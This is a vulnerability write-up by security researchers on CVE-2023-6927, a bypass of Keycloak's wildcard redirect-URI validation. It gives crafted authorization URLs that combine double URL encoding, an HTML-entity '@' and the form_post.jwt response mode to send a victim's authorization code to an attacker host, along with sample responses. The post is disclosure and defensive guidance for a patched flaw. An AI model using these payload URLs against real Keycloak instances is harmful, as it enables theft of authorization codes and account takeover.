Writeup: Keycloak open redirect (CVE-2023-6927)

11 January 2024

This post covers the technical details of CVE-2023-6927 which allows an attacker to create malicious Keycloak authorization request URLs that bypass the redirect URI validation. This can be exploited to steal a victim’s authorization code or access token, depending on the client configuration.

The vulnerability affects all OAuth 2.0 clients configured with a redirect URI ending with a * in Keycloak < 23.0.4.

For additional information, see GitHub security advisory GHSA-9vm7-v8wj-3fqw.

OAuth 2.0 basics

The current best practices for OAuth 2.0 in browser-based apps is to use the authorization code flow with Proof-Key for Code Exchange (PKCE). The otherwise common implicit grant flow has been deprecated and omitted from OAuth 2.1.

Both the authorization code flow (reponse_type=code) and implicit grant (response_type=token) rely on browser-based redirection to perform the authentication ceremony.

Overview of OAuth 2.0 code flow

Step 1 includes the parameter redirect_uri which is used as a callback when the user has authenticated with the identity provider. The code (or token) is attached to the redirect (step 2) based on the requested response_mode. The two most common response modes are fragment and query which use HTTP 302-based redirects and places the code in either the URL query or fragment components of the redirect URI.

Another valid response mode is form_post. When used, the identity provider renders a page containing an auto-submitting HTML form which performs an HTTP POST request to the redirect URI with the authorization code in the request body.

The client can then exchange the authorization code (step 3) for an access token, which can be used to access APIs (step 4). Whether step 3 requires the client to also supply its client secret depends on if the client is public or confidential. Public clients are used when the client is unable to store secrets, for example in single-page applications.

For high-security applications the recommendation is to not use public clients, even for single-page applications and instead utilize the Backend-For-Frontend (BFF) pattern. For more details, see our talk on common OAuth 2.0 and OIDC pitfalls.

How to f*ck up at OAuth2 while following BCPs -Tobias Ahnoff, Pontus Hanssen - SecurityFest2023 (youtube.com)

For implementations using implicit grant, an access token is returned in step 2, and step 3 can be omitted.

It is up to the identity provider to verify that the specified redirect_uri matches one of the configured URIs for the given client. The specification mandates that simple string comparison is used (character by character).

“When a redirection URI is included in an authorization request, the authorization server MUST compare and match the value received against at least one of the registered redirection URIs (or URI components) as defined in [RFC3986] Section 6, if any redirection URIs were registered. If the client registration included the full redirection URI, the authorization server MUST compare the two URIs using simple string comparison as defined in [RFC3986] Section 6.2.1”

RFC6749, section 3.1.2.3

It is also clear that a configured redirect URI must be an absolute URI, the word must is used as a definition of an absolute requirement by the specification.

“The redirection endpoint URI MUST be an absolute URI as defined by [RFC3986] Section 4.3.”

RFC6749, section 3.1.2

If the redirect URI validation is broken, an attacker may craft malicious authorization request URIs which, when accessed by a victim, sends their access token or authorization code to an attacker-controlled site (instead of the intended client).

Keycloak redirect URIs

Keycloak is a popular open source identity provider used by many organizations and companies world-wide and is a CNCF incubation project. They describe the project as:

“Keycloak is an Open Source Identity and Access Management solution for modern Applications and Services.” github.com/keycloak/keycloak

When creating OAuth 2.0 clients in Keycloak it is possible to specify redirect URIs containing wildcards using a * character. Wildcards can only be used at the end of a redirect URI. This can be seen in the Keycloak default client for the admin panel security-admin-console, were the redirect URI pattern is /admin/master/console/*. In such cases “simple string comparison” is not used, instead Keycloak asserts that the configured redirect URI is a prefix (minus the * character) of the redirect URI specified in the authorization request.

Open redirect in OAuth 2.0

Open redirect vulnerabilities allow an attacker to craft links which, when visited by a victim, redirects them away from the intended site to another site specified by the attacker.

An attacker may use such vulnerabilities to for example redirect to a phishing-site, with the aim of stealing user credentials. Open redirects are commonly considered low risk vulnerabilities since they require a significant amount of user interaction and can’t be used to leak sensitive information directly from the vulnerable application. However, this is not always the case for OAuth 2.0 based implementations.

An insecure OAuth 2.0 client configured to accept any redirect URI enables open redirect by design, with the added bonus that a victim’s access token or authorization code is sent to the attacker-controlled site with the redirect.

open redirect used to steal OAuth 2.0 access token

In the example above, the attacker constructs an authorization request URL that can be used by users of the application “App” to sign in. By modifying the redirect_uri parameter the attacker can trick victims using the URL to send their authorization code (or access token) to the attacker server, instead of it being sent back to the application.

The attacker can now exchange the code for an access token if the “App” OAuth 2.0 client is a public client, or use the access token directly if implicit flow was used.

In this instance the attacker could specify arbitrary redirect URIs due to an insecure configuration of the OAuth 2.0 client.

Bypassing wildcard prefix in Keycloak

Now that we have established that arbitrary redirect URIs (with only a wildcard *) are insecure, let’s look at a vulnerability in Keycloak which allows an attacker to bypass the prefix of redirect URIs. In other words, how can we trick Keycloak into thinking https://my.application.internal/* is equal to *.

This vulnerability has been assigned CVE-2023-6927 and a patch has been released as of Keycloak 23.0.4.

Keycloak comes with a couple of default OAuth 2.0 clients, for example the security-admin-console client used to access the admin web application of Keycloak. To make things easier to follow, we will use this client for demonstration. It’s however worth mentioning that any client with a redirect URI that ends in a wildcard running Keycloak < 23.0.4 is vulnerable.

The image above shows the default configuration of the security-admin-console client. We note that there is only one valid redirect (Keycloak supports multiple redirect URIs per client). The redirect URI starts with a / and ends with a *. Given that this Keycloak instance is running on http://localhost:8080, any redirect URI parameter starting with http://localhost:8080/admin/master/console/ should be accepted.

If we scroll down on the client configuration page we note that it supports “standard flow”, i.e. authorization code flow. The implicit flow is not enabled. We also note that client authentication is disabled. This will be important later.

As mentioned earlier, the first step to the sign in process is the authorization request. Given our Keycloak admin application running on http://localhost:8080, such a request might have the following URL.

http://localhost:8080/realms/master/protocol/openid-connect/auth
  ?client_id=security-admin-console
  &redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Fadmin%2Fmaster%2Fconsole%2F
  &state=2e9f6263-0862-40a0-827b-e380f374e5dc
  &response_mode=fragment
  &response_type=code
  &scope=openid
  &nonce=2f9d5237-8df8-4a1e-9917-d9e64d7048a4
  &code_challenge=SVHJKLQphjYjmQoJi5cynyJ4eP3d51swgJLknKkxI-c
  &code_challenge_method=S256

The redirect_uri parameter contains the URL encoded representation of http://localhost:8080/admin/master/console/.

One interesting fact about Keycloak is that when validating the redirect_uri parameter it will attempt to URL decode the value multiple times to find a match. This means that the redirect URI http%253A%252F%252Flocalhost%253A8080%252Fadmin%252Fmaster%252Fconsole%252F (where %25 is a URL encoded percent character) is just as valid, at least to the redirect validator. However, if we attempt to sign in with that URL, after entering our credentials we are redirected to http://localhost:8080/http%253a%252f%252flocalhost%253a8080%252fadmin%252fmaster%252fconsole%252f, which does not exist.

This means that Keycloak will URL decode all parts of the user-supplied redirect URI to find a match, and then redirect to the encoded value.

But how do we use this to redirect to any host and bypass the prefix? With HTTP Basic Auth.

It’s possible to construct URLs that contain HTTP Basic Auth credentials in the following format: https://username:password@example.com. If you open this link in a web browser it will automatically add an Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= to the request towards example.com. dXNlcm5hbWU6cGFzc3dvcmQ= is username:password encoded using base64.

There is one caveat though — the username may not include any slash characters, but that is not a problem now that we can URL encode them.

With that knowledge we can construct a new redirect URI:

http://localhost%253a8080%252fadmin%252fmaster%252fconsole%252f:@example.com

The host part of this URI points to example.com and includes the original redirect URI (URL encoded) as the HTTP Basic Auth username with a blank password. When processed by Keycloak’s redirect validator, the URI is URL decoded into:

http://localhost:8080/admin/master/console/:@example.com

The decoded URI’s host part is localhost and the path is /admin/master/console:@example.com which matches the expected redirect URI pattern.

This exact issue was reported by another security researcher and assigned CVE-2023-6291 and our original vulnerability report was considered a duplicate. CVE-2023-6291 was patched in Keycloak 23.0.3.

The patch for CVE-2023-6291 changes the behavior of the redirect validator and it now removes any HTTP Basic Auth information from the URI before attempting to URL decode and match the supplied redirect URI.

Bypassing the patch for CVE-2023-6291

The original authorization request includes response_mode=fragment. This response mode will perform the redirect using an HTTP 302 Found status code and pass the redirect destination using the Location HTTP header. The authorization code is appended to the URL fragment, as shown in the following example.

HTTP/1.1 302 Found
Referrer-Policy: no-referrer
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Robots-Tag: none
Cache-Control: no-store, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-src 'self'; frame-ancestors 'self'; object-src 'none';
X-XSS-Protection: 1; mode=block
Location: http://localhost:8080/admin/master/console/#state=2e9f6263-0862-40a0-827b-e380f374e5dc&session_state=f12998b0-1d47-4903-b5a5-44b012dc03b8&code=a9cd431b-1c45-4c98-a75c-d7187c326792.f12998b0-1d47-4903-b5a5-44b012dc03b8.2014289e-0975-4ce5-8d25-4946b641f5b3
connection: close
content-length: 0

If response_mode=form_post is used instead of response_mode=fragment, the redirect will be performed using an HTML Form, like in the following example.

 <body onload="document.forms[0].submit()">
    <form method="post" action="http://localhost:8080/admin/master/console/">
        <input type="hidden" name="code" value="14260171-65df-45e2-87ad-a671519ccdb4.0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b.2014289e-0975-4ce5-8d25-4946b641f5b3" />
        <input type="hidden" name="state" value="2e9f6263-0862-40a0-827b-e380f374e5dc" />
        <input type="hidden" name="session_state" value="0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b" />
        <noscript>
            <p>JavaScript is disabled. We strongly recommend to enable it. Click the button below to continue .</p>
            <input name="continue" type="submit" value="continue" />
        </noscript>
    </form>
</body>

In this case the redirect URI is written to an HTML attribute, which allows us to encode characters as HTML entities (a = &#x61;, b = &#x62;, etc.). We can use this to HTML entity encode the @-sign in the redirect URI so that the it’s not removed by the redirect validator. Our new redirect URI is:

http://locahost%253a8080%252fadmin%252fmaster%252fconsole%252f:%26%23x40%3bexample.com

This URL does not (on the surface of it) include any HTTP Basic Auth parameters, since there’s no @ character. When URL decoded it becomes:

http://localhost:8080/admin/master/console/:&#x40;example.com

Which matches the expected redirect URI pattern. The redirect HTML form is rendered as:

 <body onload="document.forms[0].submit()">
    <form method="post" action="http://localhost:8080%2Fadmin%2Fmaster%2Fconsole%2F:&#x40;example.com">
        <input type="hidden" name="code" value="14260171-65df-45e2-87ad-a671519ccdb4.0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b.2014289e-0975-4ce5-8d25-4946b641f5b3" />
        <input type="hidden" name="state" value="2e9f6263-0862-40a0-827b-e380f374e5dc" />
        <input type="hidden" name="session_state" value="0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b" />
        <noscript>
            <p>JavaScript is disabled. We strongly recommend to enable it. Click the button below to continue .</p>
            <input name="continue" type="submit" value="continue" />
        </noscript>
    </form>
</body>

When the form is submitted, &#x40; is treated as a @, which allows the form to be posted to http://example.com, with the original redirect URI as HTTP Basic Auth credentials.

However, another security researcher had reported a second vulnerability (assigned CVE-2023-6134), which uses this same approach to achieve cross-site scripting (XSS) in clients using wildcard redirect URIs. A fix for CVE-2023-6134 was introduced in Keycloak 23.0.3.

The patch for CVE-2023-6134 escapes HTML entities by replacing & with &amp; in the action attribute of the form returned using response_mode=form_post.

Bypassing the patch for CVE-2023-6134

With the response_mode=form_post patched using proper output encoding we need to find another way of triggering the redirect. Since Keycloak is open source we can look at all the supported response modes.

public enum OIDCResponseMode {

    QUERY("query"),
    JWT("jwt"),
    FRAGMENT("fragment"),
    FORM_POST("form_post"),
    QUERY_JWT("query.jwt"),
    FRAGMENT_JWT("fragment.jwt"),
    FORM_POST_JWT("form_post.jwt");
}

The JWT response modes are part of the JWT Secured Authorization Response Mode for OAuth 2.0 (JARM) standard, which essentially returns the authorization code or token inside a signed JWT.

It turns out that the patch for CVE-2023-6134 only enabled proper output encoding for the HTML form used in response_mode=form_post, which allows us to use the following authorization URL to bypass the redirect URI restrictions in Keycloak 23.0.3.

http://localhost:8080/realms/master/protocol/openid-connect/auth
  ?client_id=security-admin-console
  &redirect_uri=http%3A%2F%2Flocalhost%3A8080%252Fadmin%252Fmaster%252Fconsole%252F:%26%23x40%3bexample.com
  &response_mode=form_post.jwt
  &response_type=code
  &scope=openid
  &code_challenge=ZtNPunH49FD35FWYhT5Tv8I7vRKQJ8uxMaL0_9eHjNA
  &code_challenge_method=S256

This vulnerability was reported to Keycloak on 2023-12-18. It was accepted and assigned CVE-2023-6927.

Proof of concept

The vulnerability can be reproduced in the latest versions of both Mozilla Firefox and Google Chrome, but with slightly different results. As a security mechanism Firefox attempts to warn the user when the form to destination URL containing basic auth credentials.

Clicking “Yes”, allows the attack to succeed. Chrome on the other hand does not prompt or warn the user in any way and the redirect to the attacker-controlled domain is seamless.

Below are two recordings that demonstrate the vulnerability, one for Firefox and one for Chrome. Since the OAuth 2.0 client security-admin-console does not require client authentication it is possible to exchange the stolen authorization code for an access token.

Chrome Demo

Firefox Demo

In the Firefox demo there’s an additional warning since the form post is performed over HTTP (and not HTTPS), which is necessary since the Keycloak instance used for the demo does not support HTTPS. All production instances of Keycloak (should) support HTTPS, which would remove this extra prompt.

Summary

OAuth 2.0 is quite complex and supports many different flows and redirect patterns. Using wildcards as part of OAuth 2.0 redirect URIs can introduce severe vulnerabilities for an application. When implementing OAuth 2.0 based authentication, we strongly recommend using strict string matching of redirect URIs and to not use wildcards.

Even though the vulnerability described in this post is patched, there are other opportunities for misconfiguration of redirect URIs. For example, consider the redirect URI pattern https://example.com* (without a trailing slash). In this case, all an attacker needs to do is register a domain and create the subdomain example.com.attacker-domain.com to bypass the restrictions.

For more reading material on OAuth 2.0 and Identity Providers, see Defence in Depth: Clients and sessions (part 3/7) and How to choose an Identity Provider (IdP).

Timeline

Representatives from Keycloak have been quick to investigate and address the reported issues. Thank you!


Pontus Hanssen

Security Researcher

Kasper Karlsson

Security Researcher


More in this series: